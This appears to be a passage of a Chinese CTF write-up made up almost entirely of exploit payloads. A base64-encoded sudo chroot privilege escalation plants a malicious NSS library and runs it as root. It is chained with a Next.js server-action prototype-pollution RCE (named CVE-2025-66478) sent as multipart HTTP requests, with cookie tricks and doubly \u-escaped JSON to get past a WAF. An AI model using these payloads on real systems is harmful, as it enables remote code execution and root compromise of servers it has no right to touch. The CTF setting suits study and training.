echo U1RBR0U9JChta3RlbXAgLWQgL3RtcC9taW9fZXhwbG9pdC5YWFhYWFgpCmNkICIke1NUQUdFP30iIHx8IGV4aXQgMQpjYXQgPiBtaW8uYzw8RU9GCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpfX2F0dHJpYnV0ZV9fKChjb25zdHJ1Y3RvcikpIHZvaWQgbWlvX2luaXQodm9pZCkgewogICAgc2V0cmV1aWQoMCwwKTsKICAgIHNldHJlZ2lkKDAsMCk7CiAgICBjaGRpcigiLyIpOwogICAgZXhlY2woIi9iaW4vc2giLCAic2giLCAiLWMiLCAiY2F0IC9mbGFnID4gL3RtcC9mbGFnICIsIE5VTEwpOwp9CkVPRgpta2RpciAtcCBtaW9fcm9vdC9ldGMgbGlibnNzXwplY2hvICJwYXNzd2Q6IC9taW8iID4gbWlvX3Jvb3QvZXRjL25zc3dpdGNoLmNvbmYKZ2NjIC1zaGFyZWQgLWZQSUMgLVdsLC1pbml0LG1pb19pbml0IC1vIGxpYm5zc18vbWlvLnNvLjIgbWlvLmMgPi9kZXYvbnVsbCAyPiYxCnN1ZG8gLVIgbWlvX3Jvb3QgbHMg | base64 -d | sh再结合CVE-2025-66478,以及之前的WAF绕过,来RCE
构造payload
POST / HTTP/1.1
Host: 80-da027d81-4d20-490f-967d-0ba1a78ea2fd.challenge.ctfplus.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Cookie: waf_num_token1=1109; waf_num_token2=10181
Content-Length: 1
------mioqwq
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('echo U1RBR0U9JChta3RlbXAgLWQgL3RtcC9taW9fZXhwbG9pdC5YWFhYWFgpCmNkICIke1NUQUdFP30iIHx8IGV4aXQgMQpjYXQgPiBtaW8uYzw8RU9GCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpfX2F0dHJpYnV0ZV9fKChjb25zdHJ1Y3RvcikpIHZvaWQgbWlvX2luaXQodm9pZCkgewogICAgc2V0cmV1aWQoMCwwKTsKICAgIHNldHJlZ2lkKDAsMCk7CiAgICBjaGRpcigiLyIpOwogICAgZXhlY2woIi9iaW4vc2giLCAic2giLCAiLWMiLCAiY2F0IC9mbGFnID4gL3RtcC9mbGFnICIsIE5VTEwpOwp9CkVPRgpta2RpciAtcCBtaW9fcm9vdC9ldGMgbGlibnNzXwplY2hvICJwYXNzd2Q6IC9taW8iID4gbWlvX3Jvb3QvZXRjL25zc3dpdGNoLmNvbmYKZ2NjIC1zaGFyZWQgLWZQSUMgLVdsLC1pbml0LG1pb19pbml0IC1vIGxpYm5zc18vbWlvLnNvLjIgbWlvLmMgPi9kZXYvbnVsbCAyPiYxCnN1ZG8gLVIgbWlvX3Jvb3QgbHMg | base64 -d | sh').toString('utf8').trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--第一次编码
POST / HTTP/1.1
Host: 80-da027d81-4d20-490f-967d-0ba1a78ea2fd.challenge.ctfplus.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Cookie: waf_num_token1=1109; waf_num_token2=10181
Content-Length: 1
------mioqwq
Content-Disposition: form-data; name="0"
{
"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
"\u0073\u0074\u0061\u0074\u0075\u0073": "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
"\u0072\u0065\u0061\u0073\u006f\u006e": -1,
"\u0076\u0061\u006c\u0075\u0065": "{\"\u0074\u0068\u0065\u006e\":\"\u0024\u0042\u0031\"}",
"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": {
"\u005f\u0070\u0072\u0065\u0066\u0069\u0078": "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065\u002e\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u0029\u002e\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063\u0028\u0027\u0065\u0063\u0068\u006f\u0020\u0055\u0031\u0052\u0042\u0052\u0030\u0055\u0039\u004a\u0043\u0068\u0074\u0061\u0033\u0052\u006c\u0062\u0058\u0041\u0067\u004c\u0057\u0051\u0067\u004c\u0033\u0052\u0074\u0063\u0043\u0039\u0074\u0061\u0057\u0039\u0066\u005a\u0058\u0068\u0077\u0062\u0047\u0039\u0070\u0064\u0043\u0035\u0059\u0057\u0046\u0068\u0059\u0057\u0046\u0067\u0070\u0043\u006d\u004e\u006b\u0049\u0043\u0049\u006b\u0065\u0031\u004e\u0055\u0051\u0055\u0064\u0046\u0050\u0033\u0030\u0069\u0049\u0048\u0078\u0038\u0049\u0047\u0056\u0034\u0061\u0058\u0051\u0067\u004d\u0051\u0070\u006a\u0059\u0058\u0051\u0067\u0050\u0069\u0042\u0074\u0061\u0057\u0038\u0075\u0059\u007a\u0077\u0038\u0052\u0055\u0039\u0047\u0043\u0069\u004e\u0070\u0062\u006d\u004e\u0073\u0064\u0057\u0052\u006c\u0049\u0044\u0078\u007a\u0064\u0047\u0052\u0073\u0061\u0057\u0049\u0075\u0061\u0044\u0034\u004b\u0049\u0032\u006c\u0075\u0059\u0032\u0078\u0031\u005a\u0047\u0055\u0067\u0050\u0048\u0056\u0075\u0061\u0058\u004e\u0030\u005a\u0043\u0035\u006f\u0050\u0067\u0070\u0066\u0058\u0032\u0046\u0030\u0064\u0048\u004a\u0070\u0059\u006e\u0056\u0030\u005a\u0056\u0039\u0066\u004b\u0043\u0068\u006a\u0062\u0032\u0035\u007a\u0064\u0048\u004a\u0031\u0059\u0033\u0052\u0076\u0063\u0069\u006b\u0070\u0049\u0048\u005a\u0076\u0061\u0057\u0051\u0067\u0062\u0057\u006c\u0076\u0058\u0032\u006c\u0075\u0061\u0058\u0051\u006f\u0064\u006d\u0039\u0070\u005a\u0043\u006b\u0067\u0065\u0077\u006f\u0067\u0049\u0043\u0041\u0067\u0063\u0032\u0056\u0030\u0063\u006d\u0056\u0031\u0061\u0057\u0051\u006f\u004d\u0043\u0077\u0077\u004b\u0054\u0073\u004b\u0049\u0043\u0041\u0067\u0049\u0048\u004e\u006c\u0064\u0048\u004a\u006c\u005a\u0032\u006c\u006b\u004b\u0044\u0041\u0073\u004d\u0043\u006b\u0037\u0043\u0069\u0041\u0067\u0049\u0043\u0042\u006a\u0061\u0047\u0052\u0070\u0063\u0069\u0067\u0069\u004c\u0079\u0049\u0070\u004f\u0077\u006f\u0067\u0049\u0043\u0041\u0067\u005a\u0058\u0068\u006c\u0059\u0032\u0077\u006f\u0049\u0069\u0039\u0069\u0061\u0057\u0034\u0076\u0063\u0032\u0067\u0069\u004c\u0043\u0041\u0069\u0063\u0032\u0067\u0069\u004c\u0043\u0041\u0069\u004c\u0057\u004d\u0069\u004c\u0043\u0041\u0069\u0059\u0032\u0046\u0030\u0049\u0043\u0039\u006d\u0062\u0047\u0046\u006e\u0049\u0044\u0034\u0067\u004c\u0033\u0052\u0074\u0063\u0043\u0039\u006d\u0062\u0047\u0046\u006e\u0049\u0043\u0049\u0073\u0049\u0045\u0035\u0056\u0054\u0045\u0077\u0070\u004f\u0077\u0070\u0039\u0043\u006b\u0056\u0050\u0052\u0067\u0070\u0074\u0061\u0032\u0052\u0070\u0063\u0069\u0041\u0074\u0063\u0043\u0042\u0074\u0061\u0057\u0039\u0066\u0063\u006d\u0039\u0076\u0064\u0043\u0039\u006c\u0064\u0047\u004d\u0067\u0062\u0047\u006c\u0069\u0062\u006e\u004e\u007a\u0058\u0077\u0070\u006c\u0059\u0032\u0068\u0076\u0049\u0043\u004a\u0077\u0059\u0058\u004e\u007a\u0064\u0032\u0051\u0036\u0049\u0043\u0039\u0074\u0061\u0057\u0038\u0069\u0049\u0044\u0034\u0067\u0062\u0057\u006c\u0076\u0058\u0033\u004a\u0076\u0062\u0033\u0051\u0076\u005a\u0058\u0052\u006a\u004c\u0032\u0035\u007a\u0063\u0033\u0064\u0070\u0064\u0047\u004e\u006f\u004c\u006d\u004e\u0076\u0062\u006d\u0059\u004b\u005a\u0032\u004e\u006a\u0049\u0043\u0031\u007a\u0061\u0047\u0046\u0079\u005a\u0057\u0051\u0067\u004c\u0057\u005a\u0051\u0053\u0055\u004d\u0067\u004c\u0056\u0064\u0073\u004c\u0043\u0031\u0070\u0062\u006d\u006c\u0030\u004c\u0047\u0031\u0070\u0062\u0031\u0039\u0070\u0062\u006d\u006c\u0030\u0049\u0043\u0031\u0076\u0049\u0047\u0078\u0070\u0059\u006d\u0035\u007a\u0063\u0031\u0038\u0076\u0062\u0057\u006c\u0076\u004c\u006e\u004e\u0076\u004c\u006a\u0049\u0067\u0062\u0057\u006c\u0076\u004c\u006d\u004d\u0067\u0050\u0069\u0039\u006b\u005a\u0058\u0059\u0076\u0062\u006e\u0056\u0073\u0062\u0043\u0041\u0079\u0050\u0069\u0059\u0078\u0043\u006e\u004e\u0031\u005a\u0047\u0038\u0067\u004c\u0056\u0049\u0067\u0062\u0057\u006c\u0076\u0058\u0033\u004a\u0076\u0062\u0033\u0051\u0067\u0062\u0048\u004d\u0067\u0020\u007c\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0020\u002d\u0064\u0020\u007c\u0020\u0073\u0068\u0027\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0027\u0075\u0074\u0066\u0038\u0027\u0029\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u003b\u003b\u0074\u0068\u0072\u006f\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u002e\u0061\u0073\u0073\u0069\u0067\u006e\u0028\u006e\u0065\u0077\u0020\u0045\u0072\u0072\u006f\u0072\u0028\u0027\u004e\u0045\u0058\u0054\u005f\u0052\u0045\u0044\u0049\u0052\u0045\u0043\u0054\u0027\u0029\u002c\u007b\u0064\u0069\u0067\u0065\u0073\u0074\u003a\u0020\u0060\u004e\u0045\u0058\u0054\u005f\u0052\u0045\u0044\u0049\u0052\u0045\u0043\u0054\u003b\u0070\u0075\u0073\u0068\u003b\u002f\u006c\u006f\u0067\u0069\u006e\u003f\u0061\u003d\u0024\u007b\u0072\u0065\u0073\u007d\u003b\u0033\u0030\u0037\u003b\u0060\u007d\u0029\u003b",
"\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
"\u005f\u0066\u006f\u0072\u006d\u0044\u0061\u0074\u0061": {
"get": "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
}
}
}
------mioqwq
Content-Disposition: form-data; name="1"
"$@0"
------mioqwq
Content-Disposition: form-data; name="2"
[]
------mioqwq--第二次编码(提权部分的最终payload)
POST / HTTP/1.1
Host: 80-da027d81-4d20-490f-967d-0ba1a78ea2fd.challenge.ctfplus.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----mioqwq
X-Nextjs-Request-Id: qwq
X-Nextjs-Html-Request-Id: qwq
Next-Action: x
Cookie: waf_num_token1=1109; waf_num_token2=10181
Content-Length: 1
------mioqwq
Content-Disposition: form-data; name="0"
\u007b\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0032\u0034\u005c\u0075\u0030\u0030\u0033\u0031\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u0022\u002c\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0036\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0063\u0022\u002c\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u0022\u003a\u0020\u002d\u0031\u002c\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0036\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0035\u0022\u003a\u0020\u0022\u007b\u005c\u0022\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0022\u003a\u005c\u0022\u005c\u0075\u0030\u0030\u0032\u0034\u005c\u0075\u0030\u0030\u0034\u0032\u005c\u0075\u0030\u0030\u0033\u0031\u005c\u0022\u007d\u0022\u002c\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0035\u0022\u003a\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0038\u0022\u003a\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0036\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0034\u0064\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0031\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0035\u0066\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0032\u0039\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0037\u0039\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0032\u0038\u005c\u0075\u0030\u0030\u0032\u0037\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0035\u0035\u005c\u0075\u0030\u0030\u0033\u0031\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0032\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0035\u0035\u005c\u0075\u0030\u0030\u0033\u0039\u005c\u0075\u0030\u0030\u0034\u0061\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0033\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0036\u0032\u005c\u0075\u0030\u0030\u0035\u0038\u005c\u0075\u0030\u0030\u0034\u0031\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0034\u0063\u005c\u0075\u0030\u0030\u0035\u0037\u005c\u0075\u0030\u0030\u0035\u0031\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0034\u0063\u005c\u0075\u0030\u0030\u0033\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0039\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0035\u0037\u005c\u0075\u0030\u0030\u0033\u0039\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0035\u0061\u005c\u0075\u0030\u0030\u0035\u0038\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0032\u005c\u0075\u0030\u0030\u0034\u0037\u005c\u0075\u0030\u0030\u0033\u0039\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0035\u005c\u0075\u0030\u0030\u0035\u0039\u005c\u0075\u0030\u0030\u0035\u0037\u005c\u0075\u0030\u0030\u0034\u0036\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0035\u0039\u005c\u0075\u0030\u0030\u0035\u0037\u005c\u0075\u0030\u0030\u0034\u0036\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0034\u0065\u005c\u0075\u0030\u0030\u0036\u0062\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0036\u0062\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0033\u0031\u005c\u0075\u0030\u0030\u0034\u0065\u005c\u0075\u0030\u0030\u0035\u0035\u005c\u0075\u0030\u0030\u0035\u0031\u005c\u0075\u0030\u0030\u0035\u0035\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0034\u0036\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0033\u0033\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0034\u0038\u005c\u0075\u0030\u0030\u0037\u0038\u005c\u0075\u0030\u0030\u0033\u0038\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0034\u0037\u005c\u0075\u0030\u0030\u0035\u0036\u005c\u0075\u0030\u0030\u0033\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0035\u0038\u005c\u0075\u0030\u0030\u0035\u0031\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0034\u0064\u005c\u0075\u0030\u0030\u0035\u0031\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0035\u0039\u005c\u0075\u0030\u0030\u0035\u0038\u005c\u0075\u0030\u0030\u0035\u0031\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0034\u0032\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0035\u0037\u005c\u0075\u0030\u0030\u0033\u0038\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0035\u0039\u005c\u0075\u0030\u0030\u0037\u0061\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0033\u0038\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0035\u0035\u005c\u0075\u0030\u0030\u0033\u0039\u005c\u0075\u0030\u0030\u0034\u0037\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0034\u0065\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0032\u005c\u0075\u0030\u0030\u0036\u0064\u005c\u0075\u0030\u0030\u0034\u0065\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0035\u0037\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0034\u0034\u005c\u0075\u0030\u0030\u0037\u0038\u005c\u0075\u0030\u0030\u0037\u0061\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0034\u0037\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0035\u0037\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0034\u0034\u005c\u0075\u0030\u0030\u0033\u0034\u005c\u0075\u0030\u0030\u0034\u0062\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0033\u0032\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0035\u0039\u005c\u0075\u0030\u0030\u0033\u0032\u005c\u0075\u0030\u0030\u0037\u0038\u005c\u0075\u0030\u0030\u0033\u0031\u005c\u0075\u0030\u0030\u0035\u0061\u005c\u0075\u0030\u0030\u0034\u0037\u005c\u0075\u0030\u0030\u0035\u0035\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0034\u0038\u005c\u0075\u0030\u0030\u0035\u0036\u005c\u0075\u0030\u0030\u0037\u0035\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0035\u0038\u005c\u0075\u0030\u0030\u0034\u0065\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0035\u0061\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0035\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0035\u0038\u005c\u0075\u0030\u0030\u0033\u0032\u005c\u0075\u0030\u0030\u0034\u0036\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0034\u0038\u005c\u0075\u0030\u0030\u0034\u0061\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0035\u0039\u005c\u0075\u0030\u0030\u0036\u0065\u005c\u0075\u0030\u0030\u0035\u0036\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0035\u0061\u005c\u0075\u0030\u0030\u0035\u0036\u005c\u0075\u0030\u0030\u0033\u0039\u005c\u0075\u0030\u0030\u0036\u0036\u005c\u0075\u0030\u0030\u0034\u0062\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0036\u0032\u005c\u0075\u0030\u0030\u0033\u0032\u005c\u0075\u0030\u0030\u0033\u0035\u005c\u0075\u0030\u0030\u0037\u0061\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0034\u0038\u005c\u0075\u0030\u0030\u0034\u0061\u005c\u0075\u0030\u0030\u0033\u0031\u005c\u0075\u0030\u0030\u0035\u0039\u005c\u0075\u0030\u0030\u0033\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0037\u0036\u005c\u0075\u0030\u0030\u0036\u0033\u005c\u0075\u0030\u0030\u0036\u0039\u005c\u0075\u0030\u0030\u0036\u0062\u005c\u0075\u